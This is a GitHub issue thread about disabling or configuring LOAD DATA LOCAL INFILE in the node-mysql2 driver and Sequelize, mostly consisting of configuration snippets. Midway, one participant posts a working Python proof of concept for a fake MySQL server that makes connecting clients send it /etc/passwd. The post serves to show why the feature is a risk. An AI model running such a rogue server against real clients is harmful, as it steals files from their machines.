The config of 'LOCAL_FILES' does not work

[ddddyyy]

I want to disable the function of local_files, but the config does not work. var Sequelize = require('sequelize'); let dialect = 'mysql'; const timeout = 8E3; let dialectOptions = { flags:'-LOCAL_FILES', debug: true };

[sidorares]

can you explain "but the config does not work."? What's expected result and what you actually observe?

[ddddyyy]

@sidorares https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html by default, the server side can read file of client, I want to disable the function . Could you help me ?

[sidorares]

at the moment the only way to disable 'local file' is to pass infileStreamFactory option that returns a no-op stream

[ddddyyy]

@sidorares Could you show demo code. I do not know which file I need to change;

[sidorares]

const { Readable } = require('stream');
class EmptyStream extends Readable {
    _read(){
        this.emit('end');
    }
}

let dialectOptions = {
  infileStreamFactory: (name) => {
    console.log(`Server wants to access local ${name} file, access denied`)
    return new EmptyStream();
  }
};

we do have intention to disable local fs access completely and leave infileStreamFactory as the only way to respond with infile content ( could be named differently and have slightly different api )

[ddddyyy]

@sidorares
Ignoring invalid configuration option passed to Connection: infileStreamFactory. This is currently a warning, but in future versions of MySQL2, an error will be thrown if you pass an invalid configuration options to a Connection
var Sequelize = require('sequelize'); let dialect = 'mysql';

const { Readable } = require('stream');

class EmptyStream extends Readable { _read(){ this.emit('end'); } }

let dialectOptions = { infileStreamFactory: (name) => { console.log('Server wants to access local ${name} file, access denied'); return new EmptyStream(); } }; const timeout = 8E3;

let ip = '127.0.0.1'; let port = '3306'; let db ='a'; let username ='b'; let password ='c'; const sequelize = new Sequelize(db, username, password, { dialect: dialect, host: ip, port: port, pool: { handleDisconnects: true }, dialectOptions: dialectOptions });

sequelize.authenticate();

[sidorares]

hm, looks like this does not work per connection and only at query level

connection.query(
  { sql: "LOAD DATA local INFILE 'infile.csv' INTO TABLE qqq.infiletable", 
      infileStreamFactory: (name) => {
      console.log(`Server wants to access local ${name} file, access denied`)
      return new EmptyStream();
    }
  }, (err, res) => {
 console.log(err, res);
});

not sure if code above is easy to integrate with Sequelize

[sidorares]

I guess connection config level infileStreamFactory was broken. I don't think it worth fixing it in light of planned renaming. I'm going to 1) disable completely direct access to fs 2) rename this option to infile and soft-deprecate query level infileStreamFactory. This is going to be major version bump

[ddddyyy]

@sidorares `#!/usr/bin/python

coding=utf-8

import socket import logging logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd" sv=socket.socket() sv.bind(("0.0.0.0",3306)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") conn.recv(9999) logging.info("auth okay") conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

print wantfile

conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()` Using the poc someone can create a fake mysql server;

[JasonSome]

I guess connection config level infileStreamFactory was broken. I don't think it worth fixing it in light of planned renaming. I'm going to 1) disable completely direct access to fs 2) rename this option to infile and soft-deprecate query level infileStreamFactory. This is going to be major version bump

One year has passed, and yet the problem is still evident. We should be able to set somehow infile access on the connectionPool level...

[ddddyyy]

@JasonSome set the stream a file which is not exist, it is will be ok; I have fixed the problem a year ago;

[scriptsure]

@ddddyyy how dd you fix this? Using sequelize and cannot figure out how to configure connection to allow for LOAD DATA LOCAL to work....

[sidorares]

@scriptsure I guess this question is best to be asked at sequelize repo. @sushantdhiman can you help a bit here? Is there a way to pass additional driver config settings with sequelize?

[scriptsure]

@sidorares i do have a question over there too but strange I do not see any previous cases on this on sequelize side. How do I do this in a straight mysql2 connection?

[sidorares]

How do I do this in a straight mysql2 connection?

Is the question "How do I pass local files content to LOAD DATA"?

Have you tried example above, e.i something like

connection.query({
  sql: 'LOAD DATA LOCAL ...',
  infileStreamFactory: (name) => {
    if (name === 'config.csv') {
      return fs.createReadStream('./config.csv')
    }
    console.log(`Server wants to access local ${name} file, access denied`)
    return new EmptyStream();
  }
};

[scriptsure]

@sidorares sure that is part of it. But you also have to set —local-infile On the client connection. How do I set that switch on the connection?

[sidorares]

But you also have to set —local-infile On the client connection.

We need to make sure the flag is set here:

https://github.com/sidorares/node-mysql2/blob/a9434689ecf7df1cd11cfc06236272e93cca85fb/lib/connection.js#L101

from here

https://github.com/sidorares/node-mysql2/blob/ecfd554e55028079f3a30e02410b0c1c6b43e914/lib/connection_config.js#L157-L183

Try to pass flags: 'LOCAL_FILES' to connection config

[scriptsure]

@sidorares i should have mentioned that I did try that. I put flags: ‘-LOCAL_FILES Didn’t seem to do anything. Sort of weird, it doesn’t throw an error. It just doesn’t load the file. So I pulled out the exact load statement but ran it under a command line. Worked fine when I used the —load-Infile

[sidorares]

I put flags: ‘-LOCAL_FILES

"-" in front actually removes user flag from default list ( LOCAL_FILES is not in that list anyway ) - see https://github.com/sidorares/node-mysql2/blob/ecfd554e55028079f3a30e02410b0c1c6b43e914/lib/connection_config.js#L167

[sidorares]

try to console.log flags in https://github.com/sidorares/node-mysql2/blob/a9434689ecf7df1cd11cfc06236272e93cca85fb/lib/connection.js#L101

you need to make sure that 0x00000080 bit is set

[scriptsure]

Honestly I tried without the dash then guessed with dash. Missed that in code. I will give that + a try I seem to remember seeing that in a regex check.

[sushantdhiman]

@scriptsure You can pass any client config to mysql connection constructor using dialectOptions

infileStreamFactory: (name) => { if (name === 'config.csv') { return fs.createReadStream('./config.csv') } console.log(Server wants to access local ${name} file, access denied) return new EmptyStream(); }

We don't support that but if it works per connection level, you can use afterConnect hook to load local data

[scriptsure]

@sushantdhiman would you be able to post an example of passing the stream factory and the connection switch —local-infile? We are using Json config files to store all of the connection info to pass to sequelize including any dialect options. Because I cannot place this function call Directly in the Json I put in code just after I read the config and just before passing it to the sequelize constructor. But I couldn’t get it to work. Believe it just gave me same error that load data was not allowed.

Would you be able to mock something up for everyone?

[scriptsure]

@sidorares do you think we should be able to place the factory at the connection level? Or does it need to be at query level?

[sidorares]

@scriptsure should work at connection level

[sushantdhiman]

@scriptsure

const sequelize = new Sequelize({
   dialectOptions: {
     flags: '' // put connection flags here
   }
});

sequelize.afterConnect(function(connection) {
  // set inline data for any mysql connection created by sequelize-pool
  // I am not sure of mysql2 api if exists for that
});

[yamyth]

@scriptsure how are you setting infileStreamFactory in sequelize. I'm setting the flag 'LOCALFILES' inside of dialectOptions as @sushantdhiman suggested. But I don't know how to set infileStreamFactory. This is what I have so far and is NOT working. I'm still getting the error: "... must provide streamFactory option returning ReadStream_"

sequelize.query({ query, values: [], infileStreamFactory: () => fs.createReadStream('./config.csv') })